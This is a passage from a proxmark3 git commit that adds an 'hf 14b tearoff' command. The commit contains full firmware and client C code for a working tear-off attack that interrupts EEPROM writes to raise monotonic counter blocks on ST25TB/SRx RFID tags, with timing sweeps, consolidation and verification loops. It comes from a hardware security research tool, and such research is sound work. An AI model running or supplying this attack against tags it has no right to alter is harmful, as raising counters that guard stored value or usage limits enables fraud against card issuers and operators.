mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2026-05-12 11:18:11 -07:00
feat(14b): add interactive hf 14b tearoff command
Add an interactive command for performing tear-off attacks on ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented, based on the near-field-chaos project by SecLabz. The command sweeps tear-off timing from --start downward in --adj microsecond steps, automatically consolidates partial writes, verifies stability across multiple reads, and reports progress in real-time with color-coded output. Performance optimizations: - One-time full iso14443b_setup() at start; subsequent field cycles use lightweight tearoff_field_on()/tearoff_field_off() that skip FPGA bitstream reload and buffer reallocation - Periodic CMD_WTX keepalives to prevent USB timeouts during long attacks - Calls FpgaResetBitstream() on exit to ensure clean FPGA state Usage: hf 14b tearoff -b <block> -d <target> [--start <us>] [--adj <us>]
This commit is contained in:
@@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file.
|
||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz)
|
||||
- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz)
|
||||
- Added `hf mfp dump` command (@apply-science)
|
||||
- Added `hf felica seacinfo` command (@kormax)
|
||||
- Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax)
|
||||
|
||||
@@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) {
|
||||
setHf14bConfig(&c);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_ISO14443B_ST25TB_TEAROFF: {
|
||||
ST25TB_TearOff(packet->data.asBytes);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_CRYPTORF_SIM : {
|
||||
// simulate_crf_tag();
|
||||
break;
|
||||
|
||||
@@ -2622,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) {
|
||||
g_trigger = enable;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
// ST25TB COUNTER TEAR-OFF IMPLEMENTATION
|
||||
// Ported from near-field-chaos / hf_st25_tearoff standalone
|
||||
//=============================================================================
|
||||
|
||||
// Tear-off constants
|
||||
#define TEAROFF_INITIAL_DELAY_US 150
|
||||
#define TEAROFF_MIN_DELAY_US 0
|
||||
#define TEAROFF_ADJUSTMENT_US_DEF 25
|
||||
#define TEAROFF_WRITE_RETRY_COUNT 30
|
||||
#define TEAROFF_CONSOLIDATE_READS 6
|
||||
#define TEAROFF_CONSOLIDATE_WAIT_RD 2
|
||||
#define TEAROFF_CONSOLIDATE_WAIT_MS 2000
|
||||
|
||||
// Bit manipulation macros
|
||||
#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index)))
|
||||
#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index))
|
||||
|
||||
// Simple PRNG for randomization in tear-off value selection
|
||||
static unsigned long s_tearoff_prng_seed = 1;
|
||||
static int tearoff_rand(void) {
|
||||
s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345;
|
||||
return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768;
|
||||
}
|
||||
|
||||
// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated).
|
||||
// This is MUCH faster than full iso14443b_setup() since it skips:
|
||||
// - FpgaDownloadAndGo (bitstream already cached)
|
||||
// - BigBuf_free + BigBuf_calloc (demod buffers persist)
|
||||
// - 100ms field stabilization (tag only needs ~20ms to power up)
|
||||
static void tearoff_field_on(void) {
|
||||
// Re-enable reader mode
|
||||
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
|
||||
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER);
|
||||
#ifdef RDV4
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4);
|
||||
#else
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD);
|
||||
#endif
|
||||
// Brief field stabilization — tag needs ~5-15ms to power on from RF
|
||||
SpinDelay(20);
|
||||
Demod14bReset();
|
||||
Uart14bReset();
|
||||
StartCountSspClk();
|
||||
iso14b_set_fwt(8);
|
||||
s_field_on = true;
|
||||
}
|
||||
|
||||
static void tearoff_field_off(void) {
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
s_field_on = false;
|
||||
// CRITICAL: When interrupting an active EEPROM write, the tag's charge pump
|
||||
// is active. We MUST wait several milliseconds with the field fully OFF to
|
||||
// drain the tag's capacitor. If we turn the field back on too quickly, the
|
||||
// tag's Power-On Reset (POR) circuit won't trigger and the tag becomes
|
||||
// digitally latched-up/unresponsive until physically removed.
|
||||
SpinDelay(10);
|
||||
}
|
||||
|
||||
static void tearoff_exit(void) {
|
||||
g_tearoff_enabled = false;
|
||||
g_tearoff_delay_us = 0;
|
||||
// Force a full FPGA bitstream reload on the next HF command.
|
||||
// After hundreds of rapid field on/off cycles, the FPGA's internal
|
||||
// state machine (SSC/DMA) can become corrupted even though its bitstream
|
||||
// is technically loaded. Invalidating the cache forces FpgaDownloadAndGo()
|
||||
// to do a complete re-initialization next time.
|
||||
FpgaResetBitstream();
|
||||
switch_off();
|
||||
SpinDelay(20);
|
||||
BigBuf_free_keep_EM();
|
||||
s_field_on = false;
|
||||
}
|
||||
|
||||
// Read a single ST25TB/SRx block with lightweight field cycle
|
||||
static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) {
|
||||
int res;
|
||||
iso14b_card_select_t card;
|
||||
|
||||
tearoff_field_on();
|
||||
|
||||
res = iso14443b_select_srx_card(&card);
|
||||
if (res != PM3_SUCCESS) {
|
||||
tearoff_field_off();
|
||||
return res;
|
||||
}
|
||||
|
||||
uint8_t block[ISO14B_BLOCK_SIZE];
|
||||
res = read_14b_srx_block(block_address, block);
|
||||
if (res == PM3_SUCCESS) {
|
||||
*block_value = (uint32_t)block[0] |
|
||||
((uint32_t)block[1] << 8) |
|
||||
((uint32_t)block[2] << 16) |
|
||||
((uint32_t)block[3] << 24);
|
||||
}
|
||||
|
||||
tearoff_field_off();
|
||||
return res;
|
||||
}
|
||||
|
||||
// Low-level write command (no response expected for SRx write)
|
||||
static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) {
|
||||
uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00};
|
||||
AddCrc14B(cmd, 6);
|
||||
|
||||
uint32_t start_time = 0;
|
||||
uint32_t eof_time = 0;
|
||||
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
// Write a block then cut RF at precise timing for tear-off effect
|
||||
static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) {
|
||||
|
||||
uint8_t block[ISO14B_BLOCK_SIZE];
|
||||
block[0] = (data & 0xFF);
|
||||
block[1] = (data >> 8) & 0xFF;
|
||||
block[2] = (data >> 16) & 0xFF;
|
||||
block[3] = (data >> 24) & 0xFF;
|
||||
|
||||
tearoff_field_on();
|
||||
|
||||
iso14b_card_select_t card;
|
||||
int res = iso14443b_select_srx_card(&card);
|
||||
if (res != PM3_SUCCESS) {
|
||||
tearoff_field_off();
|
||||
return;
|
||||
}
|
||||
|
||||
g_tearoff_enabled = true;
|
||||
g_tearoff_delay_us = tearoff_delay_us;
|
||||
|
||||
tearoff_cmd_write_block(block_address, block);
|
||||
|
||||
if (tearoff_hook() == PM3_ETEAROFF) {
|
||||
s_field_on = false;
|
||||
// CRITICAL: When interrupting an active EEPROM write, the tag's charge pump
|
||||
// is active. We MUST wait several milliseconds with the field fully OFF to
|
||||
// drain the tag's capacitor. If we turn the field back on too quickly, the
|
||||
// tag's Power-On Reset (POR) circuit won't trigger and the tag becomes
|
||||
// digitally latched-up/unresponsive until physically removed.
|
||||
SpinDelay(10);
|
||||
} else {
|
||||
// Fallback if hook didn't trigger for some reason
|
||||
tearoff_field_off();
|
||||
}
|
||||
}
|
||||
|
||||
// Write then verify with retries
|
||||
static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value,
|
||||
uint32_t max_try_count, int sleep_time_ms,
|
||||
uint32_t *read_back_value) {
|
||||
uint32_t i = 0;
|
||||
*read_back_value = ~target_value;
|
||||
|
||||
while (*read_back_value != target_value && i < max_try_count) {
|
||||
tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write
|
||||
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
|
||||
tearoff_read_block(block_address, read_back_value);
|
||||
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
|
||||
i++;
|
||||
}
|
||||
|
||||
return (*read_back_value == target_value) ? 0 : -1;
|
||||
}
|
||||
|
||||
// Check if a value is stable (consolidated) across multiple reads
|
||||
static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value,
|
||||
int repeat_read, int sleep_time_ms,
|
||||
uint32_t *read_value) {
|
||||
int result;
|
||||
for (int i = 0; i < repeat_read; i++) {
|
||||
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
|
||||
result = tearoff_read_block(block_address, read_value);
|
||||
if (result != 0 || value != *read_value) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Consolidate a block to a stable state with decrement writes
|
||||
static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value,
|
||||
uint32_t target_value, uint32_t *read_back_value) {
|
||||
int8_t result;
|
||||
uint32_t consolidation_value;
|
||||
|
||||
if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) {
|
||||
consolidation_value = target_value + 2;
|
||||
} else {
|
||||
consolidation_value = current_value;
|
||||
}
|
||||
|
||||
result = tearoff_retry_write_verify(block_address, consolidation_value - 1,
|
||||
TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value);
|
||||
if (result != 0) {
|
||||
Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) {
|
||||
result = tearoff_retry_write_verify(block_address, consolidation_value - 2,
|
||||
TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value);
|
||||
if (result != 0) {
|
||||
Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) {
|
||||
result = tearoff_is_consolidated(block_address, *read_back_value,
|
||||
TEAROFF_CONSOLIDATE_READS, 0, read_back_value);
|
||||
if (result == 0) {
|
||||
result = tearoff_is_consolidated(block_address, *read_back_value,
|
||||
TEAROFF_CONSOLIDATE_WAIT_RD,
|
||||
TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value);
|
||||
if (result != 0) {
|
||||
Dbprintf("Consolidation failed stability check (long wait)");
|
||||
return -1;
|
||||
}
|
||||
} else {
|
||||
Dbprintf("Consolidation failed stability check (short wait)");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Calculate next value to attempt for tear-off write
|
||||
static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) {
|
||||
uint32_t value = 0;
|
||||
int8_t index = 31;
|
||||
|
||||
if (current_value < 0x0000FFFF) {
|
||||
return (current_value > 0) ? current_value - 1 : 0;
|
||||
}
|
||||
|
||||
while (index >= 0) {
|
||||
if (value == 0 && IS_ONE_BIT_T(current_value, index)) {
|
||||
value = 0xFFFFFFFF >> (31 - index);
|
||||
index--;
|
||||
}
|
||||
|
||||
if (value != 0 && IS_ZERO_BIT_T(current_value, index)) {
|
||||
index++;
|
||||
value &= ~((uint32_t)1 << index);
|
||||
|
||||
if (randomness && value < 0xF0000000 && index > 1) {
|
||||
value ^= ((uint32_t)1 << (tearoff_rand() % index));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
index--;
|
||||
}
|
||||
|
||||
return (current_value > 0) ? current_value - 1 : 0;
|
||||
}
|
||||
|
||||
// Adjust tear-off timing
|
||||
static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) {
|
||||
*tear_off_us -= tear_off_adjustment_us;
|
||||
if (*tear_off_us < TEAROFF_MIN_DELAY_US) {
|
||||
*tear_off_us = TEAROFF_MIN_DELAY_US;
|
||||
}
|
||||
}
|
||||
|
||||
// Log tear-off attempt with binary representation
|
||||
static void tearoff_log(int tear_off_us, const char *color, uint32_t value) {
|
||||
char bin[33];
|
||||
for (int i = 31; i >= 0; i--) {
|
||||
bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0';
|
||||
}
|
||||
bin[32] = '\0';
|
||||
Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us);
|
||||
}
|
||||
|
||||
// Payload structure for tear-off command
|
||||
typedef struct {
|
||||
uint8_t block_address;
|
||||
uint32_t target_value;
|
||||
uint32_t tear_off_adjustment_us;
|
||||
uint32_t safety_value;
|
||||
uint32_t start_time_us;
|
||||
} PACKED st25tb_tearoff_params_t;
|
||||
|
||||
// Main ST25TB tear-off function, called from appmain.c
|
||||
void ST25TB_TearOff(const uint8_t *data) {
|
||||
const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data;
|
||||
|
||||
uint8_t block_address = params->block_address;
|
||||
uint32_t target_value = params->target_value;
|
||||
uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us;
|
||||
uint32_t safety_value = params->safety_value;
|
||||
uint32_t start_time_us = params->start_time_us;
|
||||
|
||||
int result;
|
||||
bool trigger = true;
|
||||
|
||||
uint32_t read_value = 0;
|
||||
uint32_t current_value = 0;
|
||||
uint32_t last_consolidated_value = 0;
|
||||
uint32_t tear_off_value = 0;
|
||||
|
||||
// Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window)
|
||||
int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US;
|
||||
if (tear_off_adjustment_us == 0) {
|
||||
tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF;
|
||||
}
|
||||
|
||||
// One-time full setup: loads FPGA bitstream, allocates demod buffers,
|
||||
// configures ADC mux and SSC. All subsequent field cycles use the
|
||||
// lightweight tearoff_field_on/off which skip the heavy initialization.
|
||||
iso14443b_setup();
|
||||
set_tracing(true);
|
||||
tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on
|
||||
|
||||
// Initial read
|
||||
result = tearoff_read_block(block_address, ¤t_value);
|
||||
if (result != PM3_SUCCESS) {
|
||||
Dbprintf("Initial read failed for block %d", block_address);
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0);
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
|
||||
tear_off_value = tearoff_next_value(current_value, false);
|
||||
|
||||
Dbprintf("");
|
||||
Dbprintf(_CYAN_("ST25TB Tear-off counter attack"));
|
||||
Dbprintf("------------------------------");
|
||||
Dbprintf(" Target block: %d", block_address);
|
||||
Dbprintf("Current value: 0x%08X", current_value);
|
||||
Dbprintf(" Target value: 0x%08X", target_value);
|
||||
Dbprintf(" Safety value: 0x%08X", safety_value);
|
||||
Dbprintf("Adjustment us: %u", tear_off_adjustment_us);
|
||||
Dbprintf("");
|
||||
|
||||
if (current_value == target_value) {
|
||||
Dbprintf(_GREEN_("Current value already matches target."));
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value));
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
|
||||
if (tear_off_value == 0 && current_value != 0) {
|
||||
Dbprintf("Tear-off technique not possible from current value.");
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0);
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
|
||||
// Main tear-off loop
|
||||
uint32_t loop_count = 0;
|
||||
int consecutive_read_fails = 0;
|
||||
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
loop_count++;
|
||||
|
||||
// Send WTX keepalive every ~500 iterations to prevent USB timeout
|
||||
// Each iteration takes ~1-10ms (select + write + read), so this
|
||||
// fires roughly every 1-5 seconds. We request 10s extension each time.
|
||||
if ((loop_count % 500) == 0) {
|
||||
send_wtx(10000);
|
||||
}
|
||||
|
||||
// Check for user abort (button press or USB data)
|
||||
if (BUTTON_PRESS() || data_available()) {
|
||||
Dbprintf("Tear-off stopped by user.");
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)¤t_value, sizeof(current_value));
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
|
||||
// Safety check
|
||||
if (tear_off_value < safety_value) {
|
||||
Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)",
|
||||
tear_off_value, safety_value);
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value));
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
|
||||
// Perform tear-off write attempt
|
||||
tearoff_write_block(block_address, tear_off_value, tear_off_us);
|
||||
|
||||
// Read back
|
||||
result = tearoff_read_block(block_address, &read_value);
|
||||
if (result != 0) {
|
||||
consecutive_read_fails++;
|
||||
if (consecutive_read_fails > 10) {
|
||||
Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails);
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value));
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
tear_off_us++;
|
||||
continue; // Retry if read fails
|
||||
}
|
||||
consecutive_read_fails = 0;
|
||||
|
||||
// Analyze result
|
||||
if (read_value > current_value) {
|
||||
// Partial write success (tear-off glitch worked)
|
||||
if (read_value >= 0xFFFFFFFE ||
|
||||
(read_value - 2) > target_value ||
|
||||
read_value != last_consolidated_value ||
|
||||
((read_value & 0xF0000000) > (current_value & 0xF0000000))) {
|
||||
|
||||
result = tearoff_consolidate_block(block_address, read_value,
|
||||
target_value, ¤t_value);
|
||||
if (result == 0 && current_value == target_value) {
|
||||
tearoff_log(tear_off_us, "\033[32m", read_value);
|
||||
Dbprintf("");
|
||||
Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value);
|
||||
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value));
|
||||
tearoff_exit();
|
||||
return;
|
||||
}
|
||||
if (read_value != last_consolidated_value) {
|
||||
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
|
||||
}
|
||||
last_consolidated_value = read_value;
|
||||
tear_off_value = tearoff_next_value(current_value, false);
|
||||
trigger = true;
|
||||
tearoff_log(tear_off_us, "\033[32m", read_value);
|
||||
}
|
||||
} else if (read_value == tear_off_value) {
|
||||
// Full write went through (no tear-off effect)
|
||||
if (trigger) {
|
||||
tear_off_value = tearoff_next_value(tear_off_value, true);
|
||||
trigger = false;
|
||||
} else {
|
||||
tear_off_value = tearoff_next_value(read_value, false);
|
||||
trigger = true;
|
||||
}
|
||||
current_value = read_value;
|
||||
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
|
||||
tearoff_log(tear_off_us, "\033[34m", read_value);
|
||||
} else if (read_value < tear_off_value) {
|
||||
// Partial write but went lower
|
||||
tear_off_value = tearoff_next_value(read_value, false);
|
||||
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
|
||||
current_value = read_value;
|
||||
trigger = true;
|
||||
tearoff_log(tear_off_us, "\033[31m", read_value);
|
||||
}
|
||||
|
||||
// Increment timing for next attempt
|
||||
tear_off_us++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void SendRawCommand14443B(iso14b_raw_cmd_t *p) {
|
||||
|
||||
// turn on trigger (LED_A)
|
||||
|
||||
@@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block);
|
||||
int iso14443b_select_srx_card(iso14b_card_select_t *card);
|
||||
void SniffIso14443b(void);
|
||||
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
|
||||
void ST25TB_TearOff(const uint8_t *data);
|
||||
void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing);
|
||||
|
||||
// 14b config
|
||||
|
||||
@@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) {
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHF14BSriTearoff(const char *Cmd) {
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf 14b tearoff",
|
||||
"Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n"
|
||||
"This exploits EEPROM tearing to increment counters that normally can only\n"
|
||||
"be decremented. Based on the near-field-chaos project by SecLabz.\n"
|
||||
"\n"
|
||||
"The attack works by sending a write command and cutting the RF field at\n"
|
||||
"a precise moment, causing a partial write that can raise the counter value.\n"
|
||||
"The operation usually takes a few seconds to a few minutes.\n"
|
||||
"\n"
|
||||
" NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n"
|
||||
" Keep the tag positioned steadily on the antenna.\n",
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE\n"
|
||||
"hf 14b tearoff -b 6 -d FFFFFFFE\n"
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n"
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n"
|
||||
);
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_int1("b", "block", "<dec>", "block number (typically 5 or 6 for ST25TB counters)"),
|
||||
arg_str1("d", "data", "<hex>", "target counter value (4 hex bytes, e.g. FFFFFFFE)"),
|
||||
arg_int0(NULL, "adj", "<dec>", "tear-off timing step in us (default: 25)"),
|
||||
arg_int0(NULL, "safety", "<dec>", "safety threshold value (default: 0x1000)"),
|
||||
arg_int0(NULL, "start", "<dec>", "initial tear-off delay in us (default: 150)"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
||||
|
||||
int blockno = arg_get_int_def(ctx, 1, -1);
|
||||
|
||||
int dlen = 0;
|
||||
uint8_t data[4] = {0};
|
||||
int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
int adj = arg_get_int_def(ctx, 3, 0);
|
||||
int safety = arg_get_int_def(ctx, 4, 0x1000);
|
||||
int start = arg_get_int_def(ctx, 5, 0);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
if (dlen != 4) {
|
||||
PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
if (blockno < 0 || blockno > 255) {
|
||||
PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
// Convert data bytes to uint32_t (little-endian as per ST25TB convention)
|
||||
uint32_t target_value = (uint32_t)data[0] << 24 |
|
||||
(uint32_t)data[1] << 16 |
|
||||
(uint32_t)data[2] << 8 |
|
||||
(uint32_t)data[3];
|
||||
|
||||
PrintAndLogEx(INFO, "");
|
||||
PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------");
|
||||
PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno);
|
||||
PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value);
|
||||
PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150);
|
||||
PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25);
|
||||
PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety);
|
||||
PrintAndLogEx(INFO, "");
|
||||
PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort");
|
||||
PrintAndLogEx(INFO, "");
|
||||
|
||||
// Build payload (must match st25tb_tearoff_params_t on ARM side)
|
||||
struct {
|
||||
uint8_t block_address;
|
||||
uint32_t target_value;
|
||||
uint32_t tear_off_adjustment_us;
|
||||
uint32_t safety_value;
|
||||
uint32_t start_time_us;
|
||||
} PACKED payload;
|
||||
|
||||
payload.block_address = (uint8_t)blockno;
|
||||
payload.target_value = target_value;
|
||||
payload.tear_off_adjustment_us = (uint32_t)adj;
|
||||
payload.safety_value = (uint32_t)safety;
|
||||
payload.start_time_us = (uint32_t)start;
|
||||
|
||||
clearCommandBuffer();
|
||||
SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload));
|
||||
|
||||
// Wait for response with generous timeout.
|
||||
// The ARM side sends periodic CMD_WTX keepalive packets to extend
|
||||
// the timeout, so the attack can run as long as needed.
|
||||
// Use -1 for infinite wait (extended via WTX), abort with Enter key.
|
||||
PacketResponseNG resp;
|
||||
if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) {
|
||||
PrintAndLogEx(WARNING, "command failed or connection lost");
|
||||
return PM3_ETIMEOUT;
|
||||
}
|
||||
|
||||
if (resp.status == PM3_SUCCESS) {
|
||||
uint32_t final_value = 0;
|
||||
if (resp.length >= sizeof(uint32_t)) {
|
||||
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
|
||||
}
|
||||
PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful"));
|
||||
PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value);
|
||||
} else if (resp.status == PM3_EOPABORTED) {
|
||||
uint32_t final_value = 0;
|
||||
if (resp.length >= sizeof(uint32_t)) {
|
||||
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
|
||||
}
|
||||
PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user"));
|
||||
PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value);
|
||||
} else {
|
||||
PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed"));
|
||||
if (resp.length >= sizeof(uint32_t)) {
|
||||
uint32_t final_value = 0;
|
||||
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
|
||||
PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value);
|
||||
}
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "");
|
||||
PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHF14BSetUID(const char *Cmd) {
|
||||
|
||||
CLIParserContext *ctx;
|
||||
@@ -3288,6 +3417,7 @@ static command_t CommandTable[] = {
|
||||
{"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"},
|
||||
{"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"},
|
||||
{"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"},
|
||||
{"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"},
|
||||
{"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"},
|
||||
{"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"},
|
||||
{"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"},
|
||||
|
||||
@@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = {
|
||||
{ 0, "hf 14b sim" },
|
||||
{ 0, "hf 14b sniff" },
|
||||
{ 0, "hf 14b wrbl" },
|
||||
{ 0, "hf 14b tearoff" },
|
||||
{ 1, "hf 14b view" },
|
||||
{ 1, "hf 14b valid" },
|
||||
{ 0, "hf 14b calypso" },
|
||||
|
||||
@@ -1680,6 +1680,26 @@
|
||||
],
|
||||
"usage": "hf 14b sniff [-h]"
|
||||
},
|
||||
"hf 14b tearoff": {
|
||||
"command": "hf 14b tearoff",
|
||||
"description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.",
|
||||
"notes": [
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE",
|
||||
"hf 14b tearoff -b 6 -d FFFFFFFE",
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50",
|
||||
"hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
